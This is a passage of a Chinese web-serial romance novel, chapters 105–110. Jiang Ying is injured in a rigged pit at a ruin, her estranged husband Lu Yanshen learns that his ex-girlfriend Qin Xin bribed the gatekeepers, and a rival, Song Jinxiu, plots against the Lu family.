陆砚深搂在她腰上的手一紧,将人紧贴在自己胸口,“都说生同寝死同穴,我嘴上是**,那今天我们俩就同穴,很应景。”
声落,狗男人低头吻住她的唇,江莹被他忽如其来的唇搞蒙圈了,慌忙往后退,背却直接抵在墙上。
男人像是知道她会躲,抬手覆在她脑后避免了她被石头硌到。
江莹推不开,又无处可躲,被迫承受男人霸道的吻。
恍惚间脑子里想到最近的两次事故,都是他站在自己身边,不觉间身体的抗拒松懈了几分。
感觉到怀里人不再抗拒,陆砚深隐隐躁动。
她有多久没有这么乖乖被他亲,他几乎已经不记得,此刻娇软的触感让他放任自己的欲念,吻得更深。
唇齿相依,气息纠缠,昏暗潮湿的洞里,暧昧的氛围节节攀升。
“梯子来了,梯子来了。”
陆砚深松手,看着脸颊泛红的女人,勾唇,“看来并不排次我碰你,你昨天吐……该不会是怀孕了?”
江莹神经瞬间绷了起来,眼珠子转转,“我若是真怀孕了,你会怎样?”
“奖你五个亿。”
“那若是坏了双胞胎呢?”江莹眼睛亮亮。
“那可就多了,至少我一半身家。”
江莹抿唇,两个孩子的他一半身家,另一半留给谁可想而知。
“那你的孩子还挺值钱。”
陆砚很捏着她的下巴,强迫她抬头,“想生?”
江莹冷笑,“等我把你买的那些卫生巾用完,就考虑生一个。”
陆砚深好心情地扬起唇间,老爷子和老太太一直催他,江莹的身体也调养得差不多了,是时候要个孩子,或许有了孩子,她就不闹腾了。
江莹瞥了他一眼,“我是说考虑生一个,没说跟你生。”
陆砚深瞬间黑了脸,这人最知道怎么气他。
随着梯子放下来,陆砚深先护着江莹爬了上去。
天气有些阴沉,隆冬的寒风吹得有些刺骨,也吹散了某人心里的躁动。
“莹莹,手怎么样?”
钟宏上前查看江莹的手。
江莹故作轻松,“划破了,没大碍。”
陆砚深则拍了拍掌心沾染的湿泥,清洌的目光扫向那两个站在一旁的门卫。
“最近这几天,有没有人来过?”
两个门卫对视一眼,随即异口同声地摇头,“没有,绝对没有,这几个月一直都是封闭的。”
“没有其他任何异常?”
两人再次同步摇头。
陆砚深没再吭声,只是面无表情地从口袋里掏出那个张彩票和打火机。
他越过门卫,直接将东西递给了一旁的乔远文。
乔远文在官场摸爬滚打多年,什么阴诡伎俩没见过。
他扫了一眼彩票,瞬间明白陆砚深的意思。
三个月未对外开放的废墟,怎么可能凭空变出前天刚买的彩票,而且还是在曾经的盗洞里。
其中那个谎称自己滑倒的门卫,在瞄到乔远文手里的打火机时,脸色瞬间煞白。
陆砚深没再说什么,这件事有姑父在一定会查清楚,他攥着江莹没有受伤的手腕就往外走。
乔远文安排了随行的车,将两人送到最近的医院。
处置室,医生拿着镊子和酒精,替江莹一点点清理掌心和指缝里的砂石。
十指连心,江莹疼得嘴唇发白,陆砚深抱着她,让她靠在自己怀里。
她每攥紧一次他腰间的衬衣,他的呼吸就沉一分,眉头拧得死死的,仿佛医生清理的是他的手。
包扎完重新坐回车里,车厢里安静得只剩下两个人的呼吸声。
江莹靠在椅背上,侧过头,安安静静看着身边的男人,他刚刚是紧张她的吧?
窗外的街灯光影交错,一闪一闪掠过他的脸,勾勒出那副依旧锋利英挺的轮廓。
高鼻梁,紧抿的薄唇,还是她当年一眼就栽进去的模样。
江莹在心里轻轻叹了口气。
说实话,撇
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开秦欣那个白月光,陆砚深是个不错的结果对象。
长得帅,能力出众,除了性格冷淡,说话刻薄,也没什么不良嗜好。虽然他们之间家世悬殊,他看不上张启明,但吃穿用度,也不曾苛待她,除了不爱她。
比起那些同样出身,每天声色犬马,绯闻缠身的富家子弟,陆砚深只不过是有一个暧昧不清的白月光而已,至于到一定要离婚的地步吗?
如果……他知道他们有了孩子,态度会不会不一样?
江莹鼓足勇气开口,“陆砚深,如果我们有了……”
她话说一半,陆砚深手机响起。
他看了一眼手机屏,快速按掉。
当然,江莹也看到了那个名字。
“有什么?”
他挂断,对方又打了过来。
陆砚深皱眉接通电话,“什么事?”
秦欣焦急的声音传来,“砚深,我在遗址附近听说你遇到了危险,你怎么样?”
“没事。”
“没事就好,要不然我都不知道怎么跟轩轩交代。”
江莹自嘲地扯了扯嘴角,将心里刚冒出来的念头压了下去。
她为什么一定要在渣和与更渣里面挑对象?一个暧昧不清的前女友,已经足以摧毁这段一眼都能看到尽头的婚姻,更何况还有一个私生子。
“没事别的事挂了。”
“我就是担心你。”
陆砚深收起手机,看向江莹,“你刚说有什么?”
江莹盯着他深深看了两眼,勾唇道:“没什么,就是觉得陆总确实挺好看,难怪勾得人家穷追不舍。”
陆砚深听出她话里的讽刺,抬头深邃眸子直接撞进她眼里。
“想看就回酒店关上门慢慢看。”
他微微俯身,压迫感扑面而来,声音低哑又欠揍。
“在外面别这么没出息,哈喇子滴下来丢人。”
江莹心里刚冒出来的那点酸涩和软意,瞬间被他一句话砸得稀碎。
她狠狠剜他一眼,冷声道:“我看的是条会咬人的狗,你少自作多情。”
陆砚深也不恼,只是意味不明地嗤笑一声,靠回椅背,不再说话。
一路沉默,车子直接开回酒店房间。
江莹站在浴室镜子前,看着自己一身泥,衣服还烂了几道口子,皱起眉。
今天再一次有惊无险,她不由得抬手覆在自己的小腹,还好宝宝没事。
她想脱衣服清洗,可左手都裹着纱布,动一下就疼,外套好脱,但里面的……
正对着贴身的羊绒衣发愁,陆砚深脱了西装外套,挽起衬衫袖子走了进来。
第106章 帮你脱衣服
“你来干什么?”
江莹说着往后退了一步。
他二话不说,伸手就捏住她的手腕。
“脱衣服,洗澡。”狗男人说得理所当然,“脏**。”
“我自己会洗,你出去。”
“就你这包得跟猪蹄似的手,能脱还是能洗?”
陆砚深声音暗沉,根本不给她拒绝的机会,上前一步,扯住她的衣袖,轻而易举就把她身上的羽绒服给扯掉了。
“你有没有边界感,我们要离婚了,你帮我脱衣服?”
江莹本能拽住自己羊绒衣的下摆。
“那你想怎么洗,还是说你想让别人帮你脱?”
江莹瞪他,然后故意气他,“换个人,除了你别人都行。”
“你换个人试试?”陆砚深语气很凶,眉头拧得死紧,碰到她受伤的手,动作却极轻地托住她的手腕。
陆砚深轻轻将衣袖从她受伤的手扯出,江莹白皙的手臂落入他眼帘。
男人眸色微微停滞,随即去扯江莹的另一只手。
江莹死活不让他脱,这只手再被他脱了,那自己就只剩一件内衣了。
“剩下的我自己可以,谢谢!”
江莹耳尖绯红,低垂着脑袋不敢看他。
陆砚深不说出,也不停手,一手抓着她的手腕,一手揪着衣袖口,三两下就把她另一只衣袖扯掉。
紧接着,他的手又落在她打底衫的下摆。
男人的指尖带着温度,若有似无擦过她腰侧敏感的皮肤。
江莹浑身一僵,脸颊跟着烧了起来。
“陆砚深,我自己可以!”
她咬牙想推他,却被他反手扣住手腕。
陆砚深低头逼近,极具侵略性的目光慢悠悠扫过她泛红的耳垂。
“躲什么?”
他刻意压低声线,灼热的呼吸全喷在她颈窝里。
“你身上哪里我没看过?以前也没见你这么矜持。”
江莹又气又羞,眼眶都憋红了。
“我们要离婚了!这能一样吗?”
“只要离婚证没到手,我就还是你合法丈夫。”
陆砚深手上动作没停,轻轻松松就把她的针织衫脱了下来。
“再说了,现在在我面前装纯情,是不是晚了点?”
他唇角勾起一抹恶劣的笑,
“当初是谁,半夜穿个真丝吊带坐我腿上乱蹭,说自己头发被扣子缠住了,当时胆子不是挺大?”
江莹脑子生无可恋地低头,地缝呢,她想钻地缝。
那天晚上她喝了点酒,梁玥给她买的战袍,说是一定能让陆砚深狂。
江莹心动,她就想看看陆砚深疯狂的样子。
但那天晚上她穿上之后在他面前晃了两圈,这人一点反应都没有,无奈之下灌了两口酒,想借酒劲儿发疯。
她喝完酒去书房找人,结果这哥们洗完澡在卧室坐着处理邮件。江莹为了靠近他,没话找话问他为什么不去书房处理工作。
然后故意装醉坐在他腿上,一会儿说自己头晕,一会儿说衣服扣子勾到了她的头发,主打闹腾实则勾引。
陆砚深看她红透的脸颊,喉结滑动两下,“那天晚上抱着我脖子死活不撒手,哭着喊着要我帮你洗澡的人,不是你?”
“你闭嘴!”
江莹羞得想找地缝钻进去,顾不上手疼,抬手就去捂他的嘴。
陆砚深顺势揽住她纤细的腰,脚下一转,直接把人抵在浴室冰凉的玻璃门上。
两人距离瞬间贴到零,男人身上只有一件衬衫,江莹只有一件黑色的胸衣,气氛暧昧得让人窒息。
她皮肤白皙泛着一层柔和的光泽,胸前更是让人不可忽视的存在。
黑白碰撞中,是让人沉迷的春色。
江莹下意识撇开头,手在陆砚深背后揪住他的衬衣,将人往后扯。
陆砚深的手臂却紧紧环着她的腰,将她固定在自己怀里。
“我今天主动帮你洗,不用你费尽心机,还不知足?”陆砚深声音低沉而危险。
“不用你帮,我自己洗。”
“不好意思,已经帮了,最起码得谢谢我帮你脱了你自己脱不掉的衣服。”
陆砚深说话间,搂在她腰间的手力道松了几分。
江莹以为他真的只是不再为难自己,转过头看着他。清冷矜贵的一张脸,哪儿都好,偏偏不该长嘴。
“谢谢陆总乐于助人。”
陆砚深勾唇,“不错承认我帮了你,那感谢就不能只停留在口头上,得付诸行动,先给点利息。”
他说完,按住江莹的后颈,将她的脸压向自己,低头吻住江莹的唇。
揽在她腰上的后一寸寸上移,每到一处,引起江莹失序的战栗。
而江莹的每一下战栗都让陆砚深吻得更深。
他手指跳开江莹内衣扣的刹那,他手机骤然响起
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突如其来的手机铃声,让江莹瞬间清醒。
铃声停止,两人视线相接,彼此呼吸粗重,纠缠的气息带着膨胀的欲念。
“陆砚深,你是不是爱上我了?”
陆砚深蹙眉,这算什么问题?
他刚要开口,手机又响了起来,烦躁地掏出手机看到屏幕上“姑父”两个字,他深吸一口气,让自己平静。
江莹推开他,“你出去,我要洗澡了。”
陆砚深沉沉看了她一眼,拿着手机出了浴室。
卫生间门关上的那一瞬,江莹抬手拍了拍自己的脸。太没出息了,等着那离婚证的关系,却时不时发生这样的事,若是梁玥知道还不知道怎么说她呢。
陆砚深接通电话,声音已经平复,“姑父!”
“你跟莹莹的伤怎么样?”
“我没事,莹莹的手有些严重。”
陆砚深说着去掏了一根烟,试图压制心底的那股躁动。
“你是丈夫,照顾好她。”
在现场看到江莹从洞里出来,手上的血和着泥土,他莫名地揪心。
而那双湿漉漉的眼睛,让他不由想到曾经那个娇气的女人。
“我会的。”
“你给我的那个东西调查清了,是门卫留下来的,那个洞上本来有一块儿铁板,他们移开后还把那个洞回填了一些,之前比现在要深两米。”
“这么快就交代了?”陆砚深吸了一口烟,他确实没有想到这么快就会有结果。
“警察还没有到就交代了,他们是觉得不会有人命就拿钱办事,显然是冲着江莹来的。”
听到这里,陆砚深握着手机的指节猛地泛白,手背上青筋绷起来。
“是谁?”
“转账记录我发你微信了,你自己看。”
乔远文声音停顿了一瞬,再开口严肃了几分,“砚深,男人风流不是好事,你的性子我很喜欢,他你感情生活上的处理方式我很不喜欢。一个男人,结了婚,就应该跟过去的一切斩断,左右摇摆是婚姻生活的大忌。”
这个秦欣,乔远文听陆静淑说过,也因为是陆砚深所以他有所关注。
“知道,我会处理好,您放心。”
电话挂断,陆砚深立刻点开了微信。
一张银行流水截图清清楚楚跳出来——十万块,今天早上转的。
付款人那一栏,明明白白写着两个字。
第107章 若是我们有了孩子呢
转账人是秦欣。
陆砚深盯着屏幕,眸底森冷一片。
秦欣在他面前向来乖巧,除了让他安抚轩轩,从来没有过分的要求。这些年她带着轩轩和谢川的母亲,从未在他面前抱怨过一句。
这份情,他得承!
但她为什么要这么做,对她有什么好处?
若真的是她,她打电话让自己过去,这又是为什么?
总感觉最近的事,接二连三,一桩桩似乎都跟秦欣有关,又似乎跟她没有关系。
那这背后秦欣到地充当了什么角色?
陆砚深百思不得其解,直到指间的烟灰烫到手指,他才回神。
江莹从卫生间出来,看陆砚深发呆,没有搭理他。
拿了手机给钟宏打电话,报平安。
陆砚深看着她,眸色复杂,这件事钟宏在场,怕是瞒不住江莹。
果然,正跟钟宏说话的江莹突然看向了他,眼神满是恨意,跟刚刚温柔似水的样子判若两人。
“我没事,你放心吧,晚上让师哥陪你吃饭,我直接在房间吃。”
江莹说完挂了电话,凉凉看着陆砚深。
“姑父给你打的电话?”
陆砚深将手里的烟头按在烟灰缸里,走到她面前双手落在她肩膀上,“江莹,这件事还有疑惑点,我会查清楚。”
江莹忽地笑了,“陆砚深,工地上的事她求情,现在是她转账,她为什么这么恨我,我都已经要退出让位了,十九天都等不及?”
“我跟她不是你想的那种关系,她不会威胁到你的位置。”
“那个孩子呢?”江莹直接问了出口,“孩子妈你可以不要,孩子也不要吗?若是我们有了孩子,他会不会影响我们的孩子?”
陆砚深沉默了,他从未想过这个问题,在他意识里,养大轩轩是他不可推卸的责任,包括照顾秦欣和谢川的母亲。
“那个孩子他会慢慢长大,不会成为我们……”
江莹知道是这个结果,从她亲眼看到陆砚深对那个孩子的重视,江莹就知道他不可能不管那个孩子。
他们的婚姻里始终横着秦欣她们母子,他们有需求,秦欣一个电话就能把人叫走,之前不是没有过,即便他已经跟她躺在床上。
江莹勾唇,自嘲地笑了下,她不该因为陆砚深突然的热情而乱了心,更后悔刚刚在他的攻势里沦陷。
“不是没有查清楚吗,快去查清楚,别让人误解了你的小心肝。”
说话间,江莹拿起他的外套直接丢到门外,“走。”
再一次被扫地出门的陆砚深心里憋着一团火,他出门后直接回来自己房间。
本来是怕她跟宋瑾修有过多接触,找理由跟了过来,没想到来了之后越来越乱。
宋瑾修倒像是消失了一样,整天不见人影,他倒好后院看了一遍又一遍。
此时,宋瑾修站在逍遥楼遗址后的湿地公园里,倚在一棵树上远眺着湖心的一对鸳鸯,默默抽着烟。
另一只手里把玩着一枚金属打火机,神态惬意,悠闲慵懒。
秦欣急匆匆赶来,看到他上来给了他一个耳光。
“**是不是脑子有病,把我捅出去对你有什么好处?”
宋瑾修舌尖抵着腮帮子,冷冷看了她一眼,抬手反给她一个耳光。
“别太嚣张,这是第一次,也是最后一次,再跟我动手,别怪我不念旧情。”
秦欣恍惚了一瞬,宋瑾修竟然打她!
“**打我?没有我,你的心头好会跟陆砚深离婚?”她揪住宋瑾修的衣领,歇斯底里,“你跟我还有什么旧情,若不是你,这些年我至于活成现在这样?今天,你为了达到目的,不惜都把我推到火坑里了,谁知道你下次会干出什么事?”
宋瑾修皱眉,掐住她的脖子,“没完了?”
他眼里的狠厉,让秦欣有几分恐惧。
“没有我,你能拴住陆砚深,让他随叫随到?你现在的一切都是我给的,在我面前收起你的大小姐脾气。”
宋瑾修说完看着秦欣憋得有些发红的脸,眼角还带着泪,勾唇笑了下直接把人甩了出去。
他弹了弹烟灰,深吸一口,“我们是一条绳上的,以后做事之前动动脑子,再不跟我商量独自行动,别怪我不客气。”
秦欣从地上爬起来,咬牙瞪了他几秒钟,把宋瑾修嘴里的烟抢了过来狠狠吸了两口,心情慢慢平复。
“你安排这一出好戏,不也落空了。江莹还真是怀了个哪吒,两次了硬是没有给她整掉。”
“不会一直这么好命,但接连失手不能再轻易动手。”
宋瑾修冷笑,睨了她一眼,眼神里满是厌恶。
“若不是你耍小聪明,想借乔远文把自己摘干净,陆砚深会到现场,会在洞里发现东西。”
秦欣吐了口烟圈,咬牙,“我提醒你一句,陆砚深不是傻子。把我捅出去,对你有什么好处。”
“你觉得还有谁比你更合适?”宋瑾修音色冷硬,“你跟陆君关系好,替她出头。”
秦欣夹着烟的手顿住,这个理由似乎可以用。
“我再信你一次。”
秦欣说话将手里的烟头弹到湖里,瞥了一眼宋瑾修转身走人。
这时宋瑾修拿出手机打电话。
对方气急败坏,“陆砚深
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在查正基,让他挖下去很快就会查到点东西。”
“慌什么,正基已经完成了他该做的事,账号销毁就是了。”
对方愣了一瞬,“你是故意让他……”
“没错,许振清早就暴露了,他出轨的事兜不住,那还不如让他们自己玩儿。”
“搞不懂你要做什么,别玩儿过了,目标是陆砚深,是陆氏。”
“放心,我知道怎么做。”
正基新材是他的第一桶金,也是他撬动陆氏的一个翘板,若不是因为知道许振清的事暴露,他不会这么快毁了。
但这也是他的目的之一让陆君痛不欲生,现在的结果是他想看到的。
陆砚深刚走回自己房间,兜里的手机就震动了起来。
他盯着屏幕上的名字,眼底凝结成霜。
划开接听键,没有说话,胸腔的呼吸沉得吓人。
电话那头,听不到声音,立刻传来了秦欣的哭腔。
不久前焦急,这会儿哭得可怜,让陆砚深反感又头疼。
“砚深,对不起。我承认,那笔钱是我转的。”秦欣哽咽,声音都是颤抖的。“我刚听说遗址那边出了事,我吓坏了,也开始后悔。”
陆砚深走到窗前,看着外面阴沉的天色,捏了捏眉心,“十万块钱,买通门卫害江莹,现在被查出来你说后悔,秦欣你让我觉得不认识你。”
“我只是想吓她,你知道的那个洞并不深。”秦欣急切地拔高了声音,带着浓浓的委屈,“我就是替君姐感到难过,感到不值。”
“这就是你的理由?”
陆砚深不能接受,这件事江莹知情没有说他也生气,但这并不是可以随意伤害人的理由。
“江莹她明知道许振清在外面有女人,她居然帮着外人瞒着君姐!”秦欣吸了吸鼻子,语气带了些理直气壮,“如果她早点说出来,君姐何至于受这么大的**?”
“而且,那个女人是宋瑾修的表妹,她和宋瑾修走那么近,她就是因为跟君姐有矛盾,报复君姐的。”
“宋瑾修是什么人你比我清楚,江莹跟他走得近,他表妹还是姐夫养在外面的人,我…我就是气不过嘛,才想吓唬她。”
“砚深,我就是气不过,你别生我气好不好?”
陆砚深捏着手机的指骨因为用力而泛白,他没有说话,脑子里想到了谢川。
太过惨烈的画面,让他不敢细想。
他闭了闭眼,脑海里划过江莹挂在深坑崖壁上,手上沾满血和泥巴的场景。
陆砚深吸了一口气,咬牙道:“你是不是觉得有轩轩在,有秦阿姨在,我就永远不能把你怎样?”
第108章 江莹是我妻子,你越界了
电话那头的哭声戛然而止。
秦欣显然没料到陆砚深会这么直白的说话,心里不由得更恨宋瑾修,轩轩是她的底牌若是这张牌也丢了,那他再也别想站在陆砚深身边。
“砚深,我……”
“你听清楚。”陆砚深直接打断她,声音毫无温度,“江莹是我妻子,陆家的事跟你也没有关系,注意分寸及你的身份。”
“还有,我跟江莹不会离婚,就算真的离婚了,我跟你也不可能。三年前不可能,以后也不可能,这是我最后一次容忍你的小动作。”
总感觉最近有些乱,他跟江莹的事还没有解决,姐姐的婚姻又出现问题,江莹还接连出事。
这种摸不清、看不明的状态,让他很不舒服,尤其是秦欣的越界,让他意识到自己给她的太多了。
“砚深,对不起,我承认是我越界了,是我太嫉妒……”
“再跟你说一遍,别触碰我的底线,否则轩轩和周阿姨都将跟你没有关系。”
没等秦欣再开口,陆砚深直接挂断了通话。
他把手机扔在床上,烦躁地扯开了领带。
傍晚,江莹的房门被人轻轻敲响。
她以为是陆砚深又来发神经,冷着嗓子道:“什么事?”
“听舅舅说你受伤了,过来看看你。”
宋瑾修声落,江莹抬手开了门,“师哥,不好意思,我不知道是你。”
男人温和一笑,他穿了一件灰色的高领毛衣,手里提着几个精致的打包盒,目光第一时间落在了江莹被厚厚纱布包裹的双手上。
那双总是温和含笑的眸子里,是不加掩饰的疼惜,“是不是很疼?”
江莹下意识地把手往身后藏了藏,勉强扯出一个笑,“就是刮破了点皮,不碍事的。”
宋瑾修没拆穿她的谎言,只是将手里的餐盒一一在茶几上摆开。
“舅舅说你受伤,在房间吃。我不放心,就去附近最打包了几个你爱吃的菜。”
随着他打开盒子,空气里顿时弥漫起饭菜的香。
宋瑾修拉过一把椅子,极其自然地按着江莹的肩膀让她坐下。
“莹莹,在我面前,你永远可以当一个无忧无虑的小姑娘。曾经师哥没有能力,现在不一样了,疼了你就哭,委屈了你可以撒娇,可以骂人,不用在故作坚强。”
“你若是咽不下这口气,师哥赔上所有都可以帮你出这口气。”
江莹眼眶瞬间酸涩,手不疼是假,心里不委屈也是假。陆砚深走后,她躺在床上脑子里除了后怕,剩下的确实是委屈和恨。
若不是因为陆砚深,她又怎么会一再地经历危险。
“师哥,谢谢你!”
她看着宋瑾修,觉得一句谢太过轻飘,但她能回应的似乎只有这两个字。
母亲刚出事那段时间,她为了钱到处兼职打工,累了宋瑾修那时候刚参加工作两年,不管多晚都会在她兼职的地方等着她。
不管刮风下雨,宋瑾修骑着自行车载着她在医院和学校两头跑。
看到站在风雨中等她的宋瑾修,江莹的心动摇过,她心里的那个人高高在上,如天上月,她只能看却够不着。
所以当时就想,人要脚踏实地,不能惦记自己追不上的东西。
若不是张启明用她母亲的性命威胁她去陆家逼婚,她应该会跟宋瑾修过着简单而平静的日子。
张启明当时说,江莹不去陆家,他就放弃江岚的治疗。无奈之下的江莹被奶奶和张启明拉着去了陆家。
在陆砚深点头答应那一刻,她的心里有光照了进来,以为所有的苦难都将结束,却不想……
“谢我就乖乖吃饭。”
宋瑾修打断她的思绪,加了一片牛肉递到她嘴边。
“张嘴。”他的声音温柔得能滴出水来。
江莹浑身瞬间不自在,他们之间不应该这么暧昧,她微微往后仰了仰头。
“师兄,我自己能行,可以自己吃。”
宋瑾修举着筷子的手没动,眼神里多了一丝无奈的纵容。
“好,你自己吃。”
宋瑾修的不勉强是让江莹感觉很舒服,他永远会照顾你的情绪,不会让你为难,更不会让你难堪。
这样一个温柔且强大的人,一直像个大哥哥一样守护着她,江莹感激他,却始终没办法接受他。
或许是先入为主,心里提前住进了一个人,就没有位置留给别人。
即便离婚,她也很难短时间内接受一段新的感情。
看出她的别扭,宋瑾修主动开口转移话题,“江墨这段时间进步不小,我打算
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让他毕业就来荣盛跟在我身边,等他能独当一面能替你分担不少。”
说到这里,江莹想起陆砚深的话,不管怎么说想把江墨培养起来更重要。
“谢谢师哥!”
江莹尽量客气,她不想让宋瑾修在她身上浪费时间,所以三年都没怎么跟他联系。
之前宋瑾修也一直保持着该有的距离,但现在这种距离已经让江莹觉得有负担。
“别有心理负担,就把我当成哥哥。”
宋瑾修的话让江莹有那么心虚,自己在师哥面前跟透明一样。她想什么,他一眼就能看清楚。
“哥哥照顾受伤的妹妹,天经地义,难道你连这个机会都不给我?”
江莹看着他真挚的眼神,心里的防备卸下了一半,低声问:“你的合作谈得还顺利吗?”
宋瑾修眼底极快地划过一抹复杂,面上笑意更加温润,“差不多了,明天就能签合同。”
他盛了一碗排骨汤,舀起一勺吹了吹,小心翼翼地喂到她嘴边。
江莹迟疑了一下,张嘴喝了口汤,还是不动声色地自己接了勺子。
她跟宋瑾修之间注定不可能是单纯的师兄妹之情,不能给人回应,还是要注意分寸。
这顿饭吃得很安静,宋瑾修极尽耐心地照顾着她,绝口不提让她心烦的事。
与此,陆砚深刚把陆君送走,在会酒店的路上。
杜宇边开车,边汇报自己今天的调查进度。
“陆总,您让我查的正基新材,目前并没有异常。”
陆砚深慵懒地看在座椅上,脸上带着深深的疲倦,声音淡淡,“跟荣盛或者宋瑾修本人都没有往来?”
杜宇神色严肃,“我动用了所有能查的渠道,把正基新材近五年的资金流水扒了一遍。”
“干干净净,而且跟宋瑾修没有任何交集。”
许振清被仙人跳时就是跟正基新材谈合作,正基那边没有参与,这怎么可能?
陆砚深眉头拧紧几分,“跟那个女人也没有任何关系?”
“没有,许总他查的没错。”杜宇跟在陆砚深身边多年,他的警惕性一直很高,“陆总,三千万不是个小数,那三个账号都是**而且已经废弃,这件事怕是不简单。若是单单为了钱,感觉要的有点少。”
第109章 你送我个礼物,我就走
听到“地下钱庄”这四个字,陆砚深身体坐直,对方跟地下钱庄有关,是否存在不法行为?
“明天你去跟许总对分公司所有业务及合作商,一一摸排。”
陆砚深的意思,杜宇明白,就是要切断公司任何有可能存在的非法行为。
“好,明天一早我就过去。”
陆砚深眉头紧拧,看似每一件事都有单独的动机,有单独的责任人,但总觉得不对劲。
他隐隐开始相信自己的直觉,这事背后有一双手,至于这双手要做什么,他现在还琢磨不透。
车里沉默了好一会儿,陆砚深低沉开口,“宋瑾修这两天来临市做什么?”
“哦,他在临市投资了宏源药业,这家公司主要生产研究靶向药物,刚开始的一家小公司,但前景不错,这次来是签投资协议。”
“投资还是并购?”
“投资。”杜宇肯定道:“他追求的是回报,重来参与企业运营和管理,类似这样规模的小公司,他去年一共投了四家。”
陆砚深神色复杂,“他倒是有脑子,紧跟局势和政策。”
“对,他去年的投资,基本都是围着医药。”
陆砚深想起他对江莹的殷勤,心里一阵烦。
到酒店楼下,叫了餐送到江莹房间。
只是他到楼上的时候,江莹已经吃饱,宋瑾修提着食盒正要离开。
陆砚深看到他脸色不好。
宋瑾修看到他微微颔首,唇角含笑,“陆总!”
陆砚深睨了他一眼,“宋总,对我老婆这么上心,合适吗?”
“没什么不合适的吧,毕竟我跟莹莹认识的时间比你早,若不是当初她家里出事,她也不会被迫嫁给你。”
“如果她不被迫,你觉得她会嫁给你?”陆砚深反问。
“不是没有这个可能,我们一起经历了那么多,她知道我的不容易,心疼我,不想连累我。”
宋瑾修说着看了眼自己手腕上的菩提珠串,像是想到了什么,嘴角扯出一个笑。
陆砚深看到他的手腕,眸色阴沉下来,几个破珠子,值得他这么炫耀?
“哦,那你们关系是挺好。”陆砚深睨了他一眼,神色不屑,“今天太累,想早点回房间洗澡,改天跟宋总聊。”
宋瑾修嘴角颤了颤,脸上笑意有些僵硬,“陆总,请便。”
陆砚深直接拿出卡刷门进屋的瞬间,宋瑾修的脸顿时黑了下来。
江莹这是要离婚的样子,怀着他的孩子,还跟他睡在一个房间。
宋瑾修握着手提袋指节泛白,眼底的那抹恨意让他整个人看起来阴森恐怖。
陆砚深进房间时,江莹正在接孟澜的电话。
“确定周末就回江北了吗?”
“当然,我行李都收拾完了。”
“那行,你帮我个忙,给我直播带货。”
“行,没问题,我还欠你个大人情呢,代言的事已经合同已经签,这次是托了你的福。”
江莹有些心虚,不是她要帮忙的,是那狗东西脑子一抽自己同意的。
这时陆砚深进来,看她脸上笑容明媚,阴郁的情绪散了一半。
拖了外套直接扔在沙发上进了卫生间。
江莹刚想说什么,但考虑到孟澜听着,话到嘴边又忍住了。
“那个,你回去了先跟梁玥对对,她在帮我策划呢。”
“行,没问题。”
两人电话挂断,陆砚深洗了手出来。
江莹起身将人往外推,“回你自己房间去。”
“你送我个礼物,我就走。”
狗东西不说话,她还没有那么生气,他一说到送礼物,江莹更不高兴。
刚结婚,她满心满眼都是陆砚深,结婚时家里长辈给的见面礼,还有张启明为了面子给她准备的两百万嫁妆她全部拿出来给他买了一块儿百达翡丽。
结果这人说她审美有问题,款式难看,戴的时候特别勉为其难,结果现在还戴在手上。
后来给他买衣服,买袖口,领带等也没有说过好,每次都说她品味一般。
“陆总不缺送礼物的人,而且我的审美不好,配不上你。”
“每次给我买一堆奢侈品,送东西你就不能走心?”
江莹张张嘴,这人奢侈品都看不上,让她怎么送?
看他盯着自己,等着回答,江莹咬唇,“你到底想要什么?”
“你看着送,但必须是出自你的手,不能是工业品。”
江莹犯难,这不是表明了要让她手工做,让她想起那次采访师哥当众说了手上的珠串。
“要不我也送你一串手串。”
提到手串,陆砚深皱眉,“不要。”
江莹:“……”
思索片刻,她耐着性子开口,只求赶紧把这个瘟神送走,“那我给你织条围巾?”
陆砚深拧着的眉头,舒展了几分,江莹看说到他心里,又道:“天冷,围巾更实用。”
“行吧,年前给我织好。”他看了眼江莹,眸子里闪着几分笑意,“你是怎么时候知道姐夫外面有人的?”
江莹掏出手机,找到了梁玥给她发的照片,递给陆砚深,“梁玥出差回来在机场拍的。”
“为什么不跟我说?”
陆砚深看着照片面上不明显,心里却暗暗松了一口气。
他自己都没有意识到,自己担心的不是江莹的瞒而不报,而是江莹并是在宋瑾修那里知道的。
“一个背影,我没有确切的证据,说了若是你姐没有抓到实际证据,让我里外不是人。”
“你倒是聪明,就是没有用到地方,告诉我不就行了?”陆砚深将手机还给她,“你是怕抓不到证据,还是在包庇?就你那点小心思,我还能不知道。”
江莹拿着手机眨眨眼,“我就是包庇怎么了,就是想看你姐笑话怎么了,她不是喜欢小三吗,姐夫给她带回去你一个,你给她带回去一个,多热闹。”
陆砚深:“以后少自作聪明,有事及时跟我说,这件事背后没那么简单。”
江莹想追问,服务员上来送餐。
她趁陆砚深去看门之际直接把人推了出去,然后将房门反锁。
还跟他说,他自己都养小三,还跟他说。再说了许振清出轨,陆君也有责任,许振清说了那么多次让她带着孩子去临市,她去了吗?
一心在陆家当主母,这下就好好当。
陆砚深尴尬地站在门口,舌尖低着腮帮子。
然而,膝盖上钻心的疼,让他身形不稳,有些站不住。
……
第二天清晨,临市的空气冷得有些刺骨。
逍遥楼重建项目第一次学术研讨会,在文化局的报告厅如期举行。
因为此项目备受社会关注,所以到场的人比较多,除了古建筑界的泰斗和政府相关的负责人,还有很多媒体记者。
江莹穿着一件干练的米色大衣,手上的纱布虽然引人注目,但她脊背挺得笔直,脸上的笑意透着些许紧张和期待。
乔远文坐在不起眼的角落,神色威严,不怒自威。
本来他昨天参观完就要走的,但因为昨晚陆静淑电话里说的事,他决定多留半天,当然也有他自己的私心。
逍遥楼的故事他是从那个女人口里听说的,当时他们在临市游玩,两人站在遗址上,她缓缓说着逍遥楼的故事。
曾经他拥着自己心爱的姑娘,在她耳边笃定地说:“我们一定会永远在一起,为了你,我会扫清一切障碍。”
情话犹在耳边,却已物是人非二十五年。
许振清他见过,是个稳重老实的人,家事也是事。
更何况陆家若是传出太多负面消息,对他来说不是好事。
而秦欣带着她的设计团队,坐在江莹斜对面的位置。
两人视线交汇的瞬间,秦欣瞥了她一眼,丝毫没有愧疚之意。
江莹却只是冷冷地扫了她一眼,便将注意力集中在了面前的资料上。不是她忘记了昨天有多危险,而是她知道事有轻重缓急,恩怨等过了今天她会让秦欣一点点受到惩罚。
比如说,今天就能让她受点惩罚。
第110章 山风还活着?
陆砚深进来在乔远文身边坐下,尽可能地低调。
“最近家里的事有点多,你要注意,一个男人后院乱是大忌。”
陆砚深点头,“我会处理好,最近事确实有点多。”
“你姐夫不是个好高骛远的人,这些年他还是比较踏实的,他们感情若是真没感情了,尽量和平分手,别让陆君闹得太过。”
